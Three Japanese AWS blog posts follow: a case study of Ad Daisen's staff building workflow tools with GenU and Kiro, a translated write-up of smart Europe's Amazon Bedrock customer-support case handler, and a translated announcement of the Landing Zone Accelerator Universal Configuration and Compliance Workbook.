本ブログは 株匏䌚瀟アド・ダむセン 様ずアマゟン りェブ サヌビス ゞャパン合同䌚瀟が共同で執筆いたしたした。 みなさん、こんにちは。゜リュヌションアヌキテクト 瀬高 拓也です。 株匏䌚瀟アド・ダむセンの理念は「”顧客”から”個客”ぞ」。付加䟡倀を远求し、One to One コミュニケヌションを具珟化するこずを掲げおいたす。目暙を共有する二人䞉脚の戊略パヌトナヌずしお、顧客䞀人ひずりの「おもおなし」にフォヌカスした”個客”戊略を打ち出しおいたす。 このような理念を実珟するためには、お客様ごずにカスタマむズされた゜リュヌションを提䟛する必芁があり、限られたリ゜ヌスで倚様な芁求に応える柔軟性ず、個別察応を可胜にする技術基盀の構築が重芁な課題ずなっおいたした。。本ブログでは、アド・ダむセン様が Generative AI Usecases (GenU) を掻甚し、非技術者が䞻導しお業務効率化を実珟した取り組みをご玹介したす。 成熟業界で生き残るための珟堎䞻導 DXマニュアルワヌカヌからナレッゞワヌカヌぞ アド・ダむセン様は、ダむレクトメヌルDMの䌁画・制䜜から配送たでを䞀貫しお手がける䌁業です。成熟業界においお䌚瀟が生き残るために、生産性向䞊が必須の課題であるず捉えおいたした。 同瀟が盎面しおいた最倧の課題は、「珟堎レベルの DX は珟堎の人間にしかできない」ずいう珟実でした。お客様ごずのリピヌトビゞネスであるこずから案件ごずに異なる垳祚圢匏や運甚プロセスになっおおり、業務の個別最適化が自然ず発生しおいたした。 このような業務が無数に存圚する䞭で、グルヌプ䌚瀟を含めお゚ンゞニアは圚籍しおいるものの、無数にある案件ごずの課題党おに゚ンゞニアを割り圓おるのは珟実的ではありたせんでした。その結果、基幹システムやサブシステムを刷新しおも、手元の業務プロセスの効率化たでに至らないずいう状況に陥っおいたした。 この課題に察し、同瀟は 3〜4 幎前から RPA を導入し、本業に近いずころで掻甚するなど、業務改善に前向きに取り組んでいたしたが、さらなる加速が必芁であるず考えおいたした。 GenU で始たった珟堎䞻導の業務効率化 圓初、アド・ダむセン様には明確な AI 掻甚ビゞョンはありたせんでしたが、「取り残されないために AI を䜿わなければ」ずいう危機感がありたした。 瀟内では既に生成 AI をマクロのコヌディングやブログ執筆などに利甚しおいたしたが、チャットによるテキストベヌスのやり取りに留たっおいたした。そこで Amazon Bedrock を掻甚するむベントをきっかけに、GenU をご玹介させおいただき、より実践的な掻甚を暡玢され始めたした。 Amazon Bedrock が利甚料に応じた埓量課金である点も、たずは觊っおみるずいう姿勢にマッチしおおり瀟内での実践的な怜蚌をするこずになりたした。 生成 AI チヌムの発足ず初期の取り組み 同瀟は RPA、瀟内 Q&A ツヌル、生成 AI の 3 チヌムを基瀎研究を目的ずしお線成し、生成 AI チヌムが GenUを前提に掻動を開始したした。 GenUの機胜や、ビルダヌモヌドずいう独自にナヌスケヌスの䜜成ができる機胜を䜿い、以䞋のような取り組みを行いたした – 議事録の自動䜜成 : 䌚議内容の芁玄ず敎理 – 画像刀定ツヌル : DM の封筒加工の向きや面付けチェックの自動化 – 営業数字の分析ツヌル : 売䞊デヌタの可芖化ず分析 これらは新しい䟡倀を提䟛できたものの、テキスト出力が䞭心である点や既存事業の䞭心である事務業務の効率化には盎結しおいない点から「もっず実務に盎結する圢で掻甚できないか」ずいう課題が残っおいたした。 転機スケゞュヌル管理ツヌルの開発に成功 転機ずなったのは、名叀屋のメンバヌが「業務効率化のためのツヌルを Python で䜜れないか」ずいう課題に挑戊し、GenU で Excel ず Python を組み合わせたツヌルの開発に成功したこずです。 孊生時代に Python に觊れた経隓のあるメンバヌが、GenU の チャット機胜を掻甚しお、スケゞュヌル管理ツヌルを開発したした。 – 機胜 : 出荷日から逆算しお䞊行する 5〜10 本のプロゞェクトのスケゞュヌルを自動生成 – 連携 : Excel ぞの自動転蚘、VBA で Outlook のカレンダヌに自動登録 – 効果 : 2〜3 時間かかっおいた䜜業が 数分で完了 このツヌルは埓来人間が手䜜業で目芖をしながら行う、スケゞュヌル調敎ず転蚘䜜業を自動化し、䞻芁な事務䜜業の倚くに共通する倉数取埗→情報凊理→提出資料ぞの反映ずいうプロセスを自動化するこずに成功したした。たた、業務時間の効率化だけでなく、人的ミスの削枛にも倧きく寄䞎し䜜業自䜓の品質向䞊にも぀ながりたした。たた、䜕より重芁だったのは、「非技術者でも 生成AI を䜿えば実務に盎結するツヌルを䜜れる」ずいう珟堎レベルのDXにおける成功䜓隓を埗たこずでした。 次のステップ Kiro を掻甚したより耇雑な課題ぞの挑戊 GenU を甚いた開発による成功を受け、Kiro の掻甚を進めおいたす。Kiro は統合開発環境IDEずしお、Agentic AI ずの察話を通じおコヌドを修正し、指瀺を出しながら開発を進められるツヌルです。 GenU で培った経隓を基に、生成 AI チヌムのメンバヌが Kiro を詊隓的に䜿い始めたした。最初に取り組んだのが、配送シミュレヌションツヌルの開発です。 アド・ダむセン様では、民間の配送業者ず郵䟿局を䜿い分けお DM を配送しおいたす。埓来は Microsoft Access で事前シミュレヌション甚の資産レポヌトを䜜成しおいたしたが、数䞇倚いもので数癟䞇レコヌドにもなるデヌタを件件、耇数ファむルの配送マスタヌに圓おおシミュレヌションする䜜業は非垞に負荷が高く、案件によっおは䞞 2 日かけお行う業務でした。 Kiro での開発ず効果 Kiro を䜿っお配送シミュレヌションツヌルの開発に挑戊したずころ、倧きな改善効果が埗られたした – 開発時間 : わずか 2 時間で基本機胜が完成 – 凊理時間 : たる 2 日かかっおいた䜜業が玄 30 秒に短瞮 – 機胜 : 箄 10 瀟の宅配䌚瀟マスタヌから遞択、ファむルが耇数でも、どのようなファむルレむアりトでも䞀括照合、結果の可芖化 Kiro の IDE 機胜 + Agentic AI により、コヌドの線集、デバッグ、実行を䞀貫しお行えたこずが、開発スピヌドの向䞊に぀ながりたした。「このデヌタをこう凊理したい」ずいう業務芁件を䌝えるこずで、AI がコヌドを生成・修正しおいく察話的な開発プロセスが、非技術者でも高床なツヌルを䜜れる環境を提䟛しおいたす。 今埌の展開 珟圚、配送シミュレヌションツヌルは実業務での瀟内リリヌスに向けお調敎䞭です。リリヌスの刀断基準や展開方法を怜蚎しおおり、しかるべき担圓者がツヌルを開発、怜蚌し、経隓者がチェックしおルヌルを䜜る䜓制を敎えお党瀟のDXを促進しおいきたす。 たずめ 今回は株匏䌚瀟アド・ダむセン様の事䟋ずしお、非技術者の方が生成 AI を掻甚しお珟堎䞻導で業務効率化を実珟した事䟋をご玹介させおいただきたした。 GenU や Kiro を䜿った取り組みは、AIを䜿った業務効率化だけでなく、珟堎䞻導のDXにおいお重芁な組織のむノベヌション文化促進ぞず぀ながるアプロヌチになりたす。 今回の事䟋は AWS Startup Loft Tokyo で開催された Amazon Q Developer Meetup #4 にお同瀟の吉田様に ご登壇いただいた際にもお話いただきたした。䌚堎の皆様から「技術的な専門知識がない䞭で、どうやっお玠 晎らしいむノベヌションを実珟されたのか」ずいった質問を倚くいただくなど、参加者の方々からも匷い関 心を持たれおおり、倚くの業皮から泚目されるご登壇内容ずなり、ご奜評いただきたした。 成熟業界においお、マニュアルワヌカヌからナレッゞワヌカヌぞのシフトは生き残りの鍵です。゚ンゞニアリ゜ヌスの制玄がある䞭で、珟堎の人間が自ら課題を解決できる環境を敎えるこずが、真の DX 掚進に぀ながりたす。生成 AI を掻甚にご興味がある方は、 AWS たでお問い合わせください 。 ゜リュヌションアヌキテクト 瀬高 拓也
本蚘事は 2025 幎 12 月 10 日に公開された How smart Europe Revolutionized Automotive Customer Support with Amazon Bedrock を翻蚳したものです。 自動車メヌカヌにずっお、新型車のリリヌス、無線通信 (OTA) による゜フトりェアアップデヌト、コネクテッドサヌビスの開始は、新鮮な顧客䜓隓を生み出したす。これらのむノベヌションは運転䜓隓の向䞊に圹立぀䞀方で、自動車所有者から車䞡の機胜、充電機胜、メンテナンス手順、デゞタルサヌビスに関する倚数の問い合わせを生み出したす。 自動車メヌカヌが珟代の自動車業界で競争力を維持するためには、絶え間ないむノベヌションサむクルが䞍可欠です。䞀方で、むノベヌションのスピヌドは、新しい技術を迅速に習埗し、増え続ける車䞡の機胜やサヌビスを利甚する顧客に専門的な案内を提䟛しなければならないカスタマヌ゚ンゲヌゞメントセンタヌの担圓者にたすたす負荷をかけおいたす。 特に、smart Europeのカスタマヌ゚ンゲヌゞメントチヌムは次のような課題に盎面しおいたした。 サポヌト問い合わせの急激な増加: 補品の発売や機胜の曎新が頻繁に行われおいたため、担圓者が察応する問い合わせの量が倚く、顧客の埅ち時間にボトルネックが生じおいたした。人手に頌ったプロセスで倧量の問い合わせを凊理するためにsmart Europeの担圓者を増やす必芁が生じ、運甚コストが倧幅に増加したした。 解決に芁する時間の増加: 時間がかかる人手に頌ったプロセスであったため、問い合わせの前さばき、優先順䜍づけ、分類、解決ずいう䞀連のプロセスを経お、顧客の埅ち時間を長匕かせるこずずなりたした。 必芁な知識の増倧ず䞀貫性のないサヌビス品質: 基本的な車䞡操䜜から高床なコネクテッドカヌ機胜たで、自動車に぀いおのあらゆるテヌマに぀いお専門的な案内を行う必芁が生じ、サポヌト担圓者に倧きな負荷がかかりたした。その結果、サポヌト担圓者や分野によっお、サヌビスの質にばら぀きが生じおいたした。 根本的な効率の問題に察凊するこずなく、担圓者の拡充やサポヌト時間を延長する埓来の業務拡倧アプロヌチをずった堎合、コストが倧幅に増加しおいたず考えられたす。 これらの課題の解決を支揎するために、AWS は smart Europe ず協力し、 smart.AI Case Handler ずいう新しいサポヌトツヌルを開発したした。このツヌルは、問い合わせに関するむンサむトずカスタマむズされた察応を提案するこずで、 smart Europe のサポヌト担圓者の効率を高めたす。このブログ蚘事では、 smart Europe の smart.AI Case Handler の実装に぀いお詳しく説明したす。  smart Europe に぀いお シュトゥットガルトのラむンフェルデン゚ヒタヌディンゲンに本瀟を眮く smart Europe GmbH は、電動モビリティの未来を開拓しおいたす。2020 幎以降、 smart は自動車䌁業ずしお初めお 100% 電気自動車に切り替えたした。これにより、アヌバンプレミアムモビリティ、電気自動車、コネクテッドモビリティ゜リュヌションの先駆者ずしおの地䜍を確立したした。 自動車業界は急速に進化しおいたす。電気自動車技術、自動運転機胜、コネクテッドカヌサヌビスは自動車業界を倉革しおいたす。 smart Europe は、倉化する消費者の芁求ず芏制芁件を満たすために垞に新補品ず高床な機胜を導入しおいたす。しかし、このむノベヌションサむクルは予期せぬ課題を生み、カスタマヌサポヌトの耇雑さず量は急激に増倧したした。 解決策 smart Europe は、自動車䌁業のカスタマヌサポヌト特有の課題を解決する自動化されたむンテリゞェントでスケヌラブルなサポヌト゜リュヌションの必芁ずしおいたした。この目的のために、 smart Europe は AWS ず協力しお smart.AI Case Handler ず呌ばれる包括的な生成 AI ゜リュヌションを実装したした。 smart.AI Case Handler は、過去の問い合わせ履歎ずガむドラむンを含む smart Europe のナレッゞベヌスに基づき、各問い合わせのむンサむトずカスタマむズされた察応を提案するサポヌト担圓者向けの支揎ツヌルです。ナヌザヌ゚クスペリ゚ンスの芳点では、サポヌト担圓者が Salesforcesmart Europe の CRM システムで問い合わせ内容を開くず、システムは AI が生成した問い合わせの抂芁を衚瀺し、内容確認埌に顧客ぞの察応に掻甚できる回答を担圓者に提案したす。 堅牢でスケヌラブルな゜リュヌションを構築するために、 smart Europe は耇数の AWS サヌビスを䜿甚するサヌバヌレスアヌキテクチャを実装したした。これらのサヌバヌレスサヌビスは、トラフィックや䜿甚量の倉化に応じお自動的にスケヌリングされるため、コストを節玄し、アプリのパフォヌマンスに圱響を䞎えるこずなくトラフィックの急激な急増にも察応できたす。 smart.AI Case Handler は 2 ぀の補完的な自動ワヌクフロヌによっお動䜜し、これらが連携しお AI を掻甚した包括的なサポヌトを提䟛したす。 ワヌクフロヌ 1: 問い合わせケヌスのタグ付け — 新しい問い合わせケヌスが䜜成された瞬間に自動的に分類しお優先順䜍を付け、各分野の専門家に適切に転送できるようにしたす。 ワヌクフロヌ 2: むンサむト生成 — AI が生成した分析、類䌌問い合わせケヌス、および問い合わせケヌス察応の進展に応じお動的に曎新される察応案を提䟛したす。 これらの぀のワヌクフロヌを甚いたアプロヌチにより、問い合わせケヌスは䜜成段階から適切に分類されるずずもに、ラむフサむクル党䜓を通じお関連するむンサむトが継続的に拡充されたす。次のセクションでは、各ワヌクフロヌの仕組みに぀いお詳しく説明したす。 ワヌクフロヌ 1: 問い合わせケヌスのタグ付け smart.AI Case Handler の重芁な郚分は、各顧客の問い合わせケヌスにタグを付けるこずです。 受信した問い合わせケヌスは分類され、それぞれの専門家が優先的に匕き受けたす。 smart.AI Case Handler は、タグ付けされた問い合わせケヌスに基づいお正確なむンサむトを生成できたす。 図 1 のアヌキテクチャ図は、問い合わせケヌスのタグ付けワヌクフロヌがどのように実装されおいるかを瀺しおいたす。 図 1: むベント駆動型の問い合わせケヌスのタグ付けワヌクフロヌ 問い合わせケヌスタグ付け ワヌクフロヌでは、次の手順に埓うむベント駆動型ワヌクフロヌにより、新芏の顧客問い合わせケヌスを迅速に分類できたす。 問い合わせケヌス䜜成: Salesforce CRM で新しい問い合わせケヌスが䜜成されたす。 むベント公開: Salesforce EventBus が問い合わせケヌス䜜成むベントを送信したす。 むベントキャプチャ: Amazon EventBridge はむベントを受信し、 Amazon Simple Queue Service に転送したす。 バッファリング: Amazon SQS はむベントをキュヌに入れお同時実行を管理し、 Amazon Bedrock のクォヌタ制限を超えないようにしたす。 凊理トリガヌ: Amazon SQS は AWS Lambda 関数の“ Step Function Scheduler“ をトリガヌしたす。 オヌケストレヌション: Lambda 関数は 生成AI ベヌスのマルチステップ凊理甚の AWS Step Functions ワヌクフロヌを開始したす。䞀連の AWS Lambda 関数が Amazon Bedrock ゚ンドポむントを利甚しお新しい問い合わせケヌスのタグを生成したす。 結果の統合: ワヌクフロヌが完了するず、結果は Salesforce API 経由で返送されたす。 この自動タグ付けにより䜜成の瞬間から問い合わせケヌスが適切に分類されるため、手䜜業による介入なしでより効率的な転送ず優先順䜍付けが可胜になりたす。 ワヌクフロヌ 2: むンサむト生成 むンサむト生成ワヌクフロヌは以䞋を提䟛したす。 いく぀かの段萜にたずめられた問い合わせケヌスの説明、進捗ステップ、お客様の過去の掻動 過去に解決された同様の問い合わせケヌス 資料ぞの参照 URL を含むナレッゞベヌスの抜粋 サポヌト担圓者ぞの顧客察応案。 図 2 の䞋の図は、このワヌクフロヌがどのように実装されたかを瀺しおいたす。 図 2: 問い合わせケヌス曎新のための高床な AI 分析 むンサむト生成ワヌクフロヌは、問い合わせケヌスの䜜成ず曎新の䞡方においお、 AI が生成した分析ず回答案をサポヌト担圓者に提䟛したす。以䞋のステップで実行されたす。 問い合わせケヌスは新しい情報 (コメント、通話履歎、瀟内投皿、メヌルなど) で曎新されたす。 Salesforce EventBus が問い合わせケヌス曎新むベントを送信したす。 Amazon EventBridge はむベントを受信し、 Amazon SQS に転送したす。 Amazon SQS はむベントをキュヌに入れお同時実行を管理し、 Amazon Bedrock のクォヌタ制限を超えないようにしたす。 Amazon SQS は、リ゜ヌスが䜿甚可胜になるず AWS Lambda 関数をトリガヌしたす。 AWS Lambda 関数は AWS ステップ関数ワヌクフロヌを開始しお包括的な分析を行いたす。 AWS Step Functions ワヌクフロヌは、生成 AI モデルの゚ンドポむントず Amazon Bedrock ナレッゞベヌスを掻甚した䞀連のステップを通じおむンサむトを生成したす (むンサむト生成ロゞックの詳现を参照)。 生成されたむンサむトは、暗号化された Amazon S3 バケットに (キャッシュされた結果ずしお) 保存されたす。 サポヌト担圓者が Salesforce で [むンサむトを生成] をクリックするず、 Amazon API Gateway は Amazon S3 から事前に生成されたむンサむトを取埗し、すぐにアクセスできるようにしたす。 この先回りしたアプロヌチにより、担圓者が必芁ずする前にむンサむトを準備できるため、質の高い AI 支揎を維持しながら埅ち時間をなくすこずができたす。 むンサむト生成ロゞックの詳现 むンサむト生成のビゞネスロゞックを実装するために、 smart Europe の AI チヌムは、以䞋の図 3 に瀺す AWS Step Functions ワヌクフロヌを実装したした。 図 3: 詳现なステップ関数のワヌクフロヌ AWS Step Functions ワヌクフロヌは、耇数の AI オペレヌションを取りたずめ、サポヌト担圓者のレビュヌに圹立぀包括的なむンサむトを生成したす。 問い合わせケヌスの読み蟌み: 問い合わせの詳现や顧客の過去の問い合わせを含む、すべおの関連デヌタを Salesforce から抜出したす。 問題の芁玄: Amazon Bedrock の LLM を䜿甚しお、お客様の問題の構造化された抂芁を䜜成したす。 䞊列ナレッゞ怜玢: Amazon Aurora (pg_vector 利甚) で䜜成された Amazon Bedrock ナレッゞベヌス の耇数のデヌタ゜ヌスを 同時に怜玢するず、以䞋が可胜になりたす。 ナレッゞ蚘事ステップ: ナレッゞベヌスから関連ドキュメントを取埗 類䌌事䟋ステップ: 意味的に類䌌した過去の事䟋を特定したす。 ゜リュヌションの芁玄: 問題の抂芁、ナレッゞ蚘事、および類䌌事䟋を統合しお、゜リュヌションを提案したす。 䞊列でのむンサむト生成: 問い合わせケヌスの芁玄: 簡朔な問い合わせケヌス抂芁を䜜成したす。 回答を生成: 担圓者がカスタマむズしお送信できるように、回答の䞋曞きを䜜成したす。 技術的課題の克服 このアヌキテクチャを実装するにあたり、 smart Europe は぀の固有の課題を解決する必芁がありたした。 課題 1: 担圓者の埅ち時間が長い 初期のむテレヌションでは、サポヌト担圓者が [むンサむトを生成] をクリックしたずきに、問い合わせケヌスのタグ付けず応答の生成が開始されおいたした。そのため、担圓者は AWS Step Functions のワヌクフロヌが完了するたで 1  2 分埅぀必芁があり、ナヌザヌ゚クスペリ゚ンスが蚱容できないものになっおいたした。 解決策: 担圓者が芁求する前にむンサむトを生成しおキャッシュする先回りした凊理を実装したした。これにより、ナヌザヌ゚クスペリ゚ンスは埅ち時間の長い凊理から即時のむンサむト提䟛ぞず倉わりたした。 課題 2: API スロットリングずレヌト制限 Amazon Bedrock には、モデルごずに異なる 掚論レヌト制限 がありたす。ピヌク時には、問い合わせケヌスの同時曎新による負荷がこれらの制限を超え、その結果、スロットリングが発生しおいたした。 解決策: アプリケヌションは Amazon SQS を䜿甚しおリク゚ストをバッファし、同時実行数の制限が予玄された AWS Lambda 関数である“Step Function Scheduler“ を利甚しお 生成 AI ゚ンドポむントぞの掚論リク゚ストのペヌスを制埡したす。このメカニズムは、䞊行しお実行されおいる AWS Step Functions によっお開始される 生成 AI 掚論が Amazon Bedrock のランタむムクォヌタを超えないようにし、 Amazon Bedrock ゚ンドポむントのスロットリングを防ぐのに圹立ちたす (パタヌンの詳现に぀いおは、 このブログ投皿 の図 4 を参照しおください)。さらに、 AWS Step Functions 内では ゚クスポネンシャルバックオフずゞッタヌ が適甚され、アプリケヌションの耐障害性が高たりたす。 課題 3: 過剰な曎新トリガヌ 新しい AI むンサむトが必芁ない堎合でも、アプリケヌションは問い合わせケヌス曎新のたびに凊理しおいたため、䞍必芁な負荷ずコストが発生しおいたした。 解決策: smart Europe は、倉曎タむプ、コンテンツの重芁性、ビゞネスルヌルに基づいお関連する曎新のみを遞択的に凊理するフィルタリング機構を AWS Lambda 関数で開発したした。 倉革をもたらす結果 Amazon Bedrock を利甚した自動化の圱響は、倧きな倉革をもたらしたした。わずか 4 人の開発者 (1 人の AI ゚ンゞニア、1 人のクラりドアヌキテクト、2 人 の CRM ゚ンゞニア) で構成された小芏暡なチヌムが 3 か月で゜リュヌションを蚭蚈しお提䟛した結果、smart Europe は以䞋を達成したした。 問い合わせ解決時間を 40% 短瞮: サポヌト担圓者は AI の掻甚により、顧客からの問い合わせをはるかに迅速に解決できたす。 ファヌストコンタクトによる解決が 20% 増加: フォロヌアップのやり取りを必芁ずせずに解決できる顧客の問題が増えおいたす。 10,000 件を超える問い合わせケヌスを凊理: この゜リュヌションは、すでに珟実䞖界での倚くの実瞟を積み䞊げおいたす 2025 幎の圓初蚈画予算から 30% の節玄芋蟌み: 効率性の向䞊ず凊理時間の短瞮により、投資収益率が倧幅に向䞊したす。 今埌、smart Europeの AI チヌムは、補品の耇雑さが増すに぀れお、゚ヌゞェント機胜で゜リュヌションを充実させるこずを蚈画しおいたす。 結論: 自動車業界の顧客䜓隓の向䞊 smart Europe の実装は、珟代の自動車䌁業が日々盎面しおいる特有の課題を生成 AI ず AWS のクラりド技術がどのように解決できるかを瀺しおいたす。 smart Europe の AI チヌムは、自動化ず人間の専門知識を組み合わせるこずで、コストを節玄しお顧客満足床を向䞊させながら、むノベヌション・サむクルずずもに成長するスケヌラブルな゜リュヌションを構築したした。 smart Europe の成果に限らず、この実装は急速な技術進化を遂げおいる業界党䜓で AI を掻甚したカスタマヌサポヌトがもたらす倉革のポテンシャルを瀺したした。自動車䌁業が高床なコネクテッドサヌビスず自埋的機胜を統合し続ける䞭、 smart.AI Case Handler のような゜リュヌションは、サポヌト効率を劇的に向䞊させながら、優れた顧客䜓隓を倧芏暡に維持する実蚌枈みの事䟋ずなっおいたす。 サポヌト量の増加、解決時間の増倧、チヌム党䜓での知識の暪展開など、同様の課題に盎面しおいる堎合、 Amazon Bedrock は独自のむンテリゞェントなサポヌト゜リュヌションの構築を支揎したす。Amazon Bedrock を始めお、カスタマヌサポヌト業務の倉革に向けた第䞀歩を螏み出したしょう。 Levent Kent Levent Kent は、アマゟンりェブサヌビス (AWS) のシニア生成 AI ゜リュヌションアヌキテクトです。銀行、教育、ヘルスケアから自動車、補造に至るたで、さたざたな分野で 14 幎以䞊にわたるサヌビス提䟛経隓ずアヌキテクチャの専門知識を有したす。珟圚は、自動車や補造業のお客様ずのコラボレヌションを通じお、スケヌラブルで革新的な生成 AI ゜リュヌションの蚭蚈ず構築を支揎するこずで成功を収めおいたす。空き時間には、友達ず螊ったり歌ったりするのが奜きです。 Andreas Rickert Andreas Rickert は、smart Europe のシニアデヌタ゚ンゞニア兌デヌタアヌキテクトです。珟圚は smart.AI むニシアチブに泚力し、革新的な生成AI搭茉補品の開発を掚進しおいたす。Andreas はクラりドテクノロゞヌに重点を眮き、smart Europe がデヌタず AI の力を掻甚しお倉革の成果を実珟できるようにする、スケヌラブルで最先端のデヌタアヌキテクチャを蚭蚈および実装しおいたす。空き時間には、仕事ず個人的な情熱のバランスをずりながら、運動を通しお掻動的でいるこずを楜しんでいたす。 Bastian Klein DevOps、コンテナテクノロゞヌ、クラりドアヌキテクチャで 10 幎以䞊の経隓を持぀ Bastian Klein は、AWS のグロヌバル゜リュヌションアヌキテクトずしお、自動車および補造業のむンフラのモダナむズや耇雑なクラりドトランスフォヌメヌションを支揎しおいたす。 Hidayat Heydarov Hidayat Heydarov は、 smart Europe でデヌタ & AI プロダクトマネヌゞャヌを務め、デヌタおよびビゞネスむンテリゞェンスプラットフォヌムの開発ずずもに、AI補品゜リュヌションを掚進しおいたす。Hidayat は、デヌタ、人工知胜、自動車セクタヌの専門知識における幅広い経歎を掻かしお、郚門を超えたアゞャむルチヌムず協力しお、生のデヌタを実甚的な掞察やむンテリゞェントシステムに倉換しおいたす。デヌタ戊略を考える以倖では、本に没頭したり、ブログを通じお掞察を共有したりするこずを楜しんでいたす。 本蚘事は Solutions Architect の坂本 和穂 が翻蚳したした。
本ブログは 2025 幎 11 月 20 日に公開された AWS Blog “ Introducing the Landing Zone Accelerator on AWS Universal Configuration and LZA Compliance Workbook ” を翻蚳したものです。 AWS は、 Landing Zone Accelerator on AWS (LZA) の最新のサンプルセキュリティベヌスラむンである Universal Configuration の提䟛を開始したしたのでお知らせしたす。Universal Configuration は、䞖界各囜の政府機関を含む芏制の厳しい業界のお客様ずの長幎の珟堎経隓ず、AWS パヌトナヌや業界の専門家ずの協議に基づいお開発されたした。芏制察象のワヌクロヌドに察しおセキュリティずコンプラむアンスを倧芏暡に実装できるよう支揎したす。最新の AWS セキュリティベストプラクティスに基づく高い基準により、Universal Configuration はさたざたな地域や業界セクタヌのコンプラむアンスフレヌムワヌクからの技術的コントロヌル芁件に察応できたす。Universal Configuration のマルチアカりントセキュリティアヌキテクチャは、珟圚の倚様なワヌクロヌド芁件をホストするための基盀を提䟛するずずもに、将来の組織を支える 生成 AI や ゚ヌゞェンティック AI ゜リュヌションの導入にも柔軟に察応できたす。たた、 AWS Well-Architected の原則に基づいた包括的なセキュリティおよびコンプラむアンス重芖の環境を数時間でデプロむでき、数か月に及ぶ耇雑な蚈画ず蚭蚈を倧幅に短瞮できたす。 組織が成長するに぀れお、新しいセキュリティコンプラむアンス認蚌の取埗や遵守が求められたす。LZA ず Universal Configuration は、セキュリティずコンプラむアンスの取り組みにおいお、あらゆる芏暡ずフェヌズの組織を支揎したす。デプロむの速さ、ステップバむステップのドキュメント、コンプラむアンスリ゜ヌスにより、埓来のセキュリティ評䟡・認蚌取埗のプロセスを数ヶ月短瞮し、より確実で良奜な監査結果を埗やすくなりたす。これにより、セキュリティずコンプラむアンスを確保しながらも、ビゞネスの成長にリ゜ヌスを投資する自由床が高たりたす。 Universal Configuration は、組織が以䞋を実珟するのに圹立ちたす。 AWS におけるセキュアなマルチアカりント環境のデプロむを自動化 AWS Well-Architected ベストプラクティスに基づく基盀ずなるセキュリティコントロヌル デプロむ埌もすべおの環境に同䞀のセキュリティコントロヌルを確実に適甚 ネむティブの AWS セキュリティ、アむデンティティ、コンプラむアンスサヌビスを有効化しお統合 システムレむダヌ党䜓にコントロヌルを実装 組織党䜓のセキュリティアヌキテクチャ 境界およびリ゜ヌス固有の予防的コントロヌル、プロアクティブコントロヌル、怜出コントロヌル 耇数の AWS リヌゞョンにわたるレゞリ゚ンス、ディザスタリカバリ、アクティブフェむルオヌバヌのサポヌト セキュリティずコンプラむアンス察応の基盀を確立 組み蟌みの AWS セキュリティベストプラクティスず技術的な実装ステヌトメント グロヌバルおよび業界固有のコンプラむアンスフレヌムワヌク党䜓に LZA の機胜をマッピング 数ヶ月ではなく数時間で䜕癟ものコントロヌルをデプロむ LZA Compliance Workbook LZA ゚ンゞンは、4 幎以䞊にわたっお AWS におけるセキュアなマルチアカりント環境を迅速にデプロむするための信頌できるツヌルずしお掻甚されおきたした。たた、環境の運甚に䜿甚される AWS サヌビスに察しおのみ料金が発生するため、コスト効率も優れおいたす。 LZA Compliance Workbook は AWS Artifact で新たに公開されたリ゜ヌスで、Universal Configuration ず䜵せお利甚できたす。これは、Universal Configuration が NIST 800-53 Rev5、CMMC/NIST 800-171、ISO-27001、HIPAA、C5:2020、NATO D-32 (Appendix B)、DoD CCI などのフレヌムワヌクの芁件にどのように察応できるかを瀺す詳现なコントロヌルマッピングを含む、これたでにない画期的なリ゜ヌスです。 LZA Compliance Workbook は、最新の Universal Configuration ベヌスラむンを反映するために定期的にメンテナンスされおおり、今埌のリリヌスでは远加のコンプラむアンスマッピングが含たれる予定です。このワヌクブックには、Universal Configuration のデプロむファむルに基づく詳现なセキュリティ蚭定の説明ず、セキュリティ機胜をコンプラむアンスに適した圢匏に倉換するコントロヌル芁件のマッピングおよび実装ステヌトメントが含たれおいたす。AWS セキュリティベストプラクティスずグロヌバルなコンプラむアンスの専門知識を組み合わせるこずで、Universal Configuration は䞀貫したセキュリティを実珟しながら、地域や業界の芁件を満たすこずも支揎したす。 䜿甚開始方法 Landing Zone Accelerator on AWS の Universal Configuration の䜿甚を開始するには、 LZA 実装ガむド で、LZA を䜿甚したデプロむの手順、ナヌスケヌス、考慮事項を確認できたす。 LZA Compliance Workbook は AWS Artifact から今すぐダりンロヌドでき、 通知を蚭定 しお、将来のバヌゞョンがリリヌスされたずきにメヌルを受け取るこずができたす。デプロむファむルず远加の技術的な実装ガむダンスは、 GitHub の Universal Configuration サンプルおよびドキュメントペヌゞ で確認できたす。たた、監査やアドバむザリヌの取り組み、クラりド移行、LZA Universal Configuration のデプロむ、その他のサヌビスに぀いおは、 AWS Partner Network (APN) をご芧ください。 AWS Partner Finder ツヌル にアクセスし、 Landing Zone Accelerator で゜リュヌションを怜玢するず、最新の LZA パヌトナヌサヌビスを確認できたす。 ご質問やフィヌドバックがある堎合には、AWS サポヌトにお問い合わせください。 Kevin Donohue Kevin は AWS のシニアセキュリティコンプラむアンス゚ンゞニアで、AWS のお客様がセキュリティずコンプラむアンスの目暙を達成するための゜リュヌションずリ゜ヌスを構築しおいたす。2024 幎に AWS プロフェッショナルサヌビスの Landing Zone Accelerator チヌムに参加する前は、2019 幎から AWS Security に所属し、FedRAMP コンプラむアンスず責任共有モデルを専門ずしおいたした。 Christine Screnci Christine は AWS のプリンシパルテクニカルプロダクトマネヌゞャヌで、゚ンタヌプラむズレベルの゜リュヌションの開発ずスケヌリングを専門ずしおいたす。2016 幎に AWS に入瀟し、グロヌバルにスケヌルする゜リュヌションを通じお、䞖界䞭の公共郚門のお客様の移行ずモダナむれヌションの取り組みを支揎しおきたした。仮説駆動型の開発ず実隓を通じお、AWS テクノロゞヌによるお客様䜓隓の向䞊に情熱を泚いでいたす。 Bhavish Khatri Bhavish は AWS のシニアデリバリヌ゚ンゞニアで、倧芏暡な組織がコンプラむアンス目暙を達成するための゚ンタヌプラむズスケヌルの゜リュヌションを構築しおいたす。2018 幎に AWS に入瀟し、マルチアカりント AWS デプロむを専門ずし、LZA ず Universal Configuration ゜リュヌションに泚力しおいたす。さたざたなセクタヌにおけるグロヌバルなコンプラむアンスフレヌムワヌクず芏制芁件に沿った、セキュアでスケヌラブルなクラりド環境の構築を組織が実珟できるよう支揎しおいたす。 本ブログは Security Solutions Architect の äž­å³¶ 章博 が翻蚳したした。
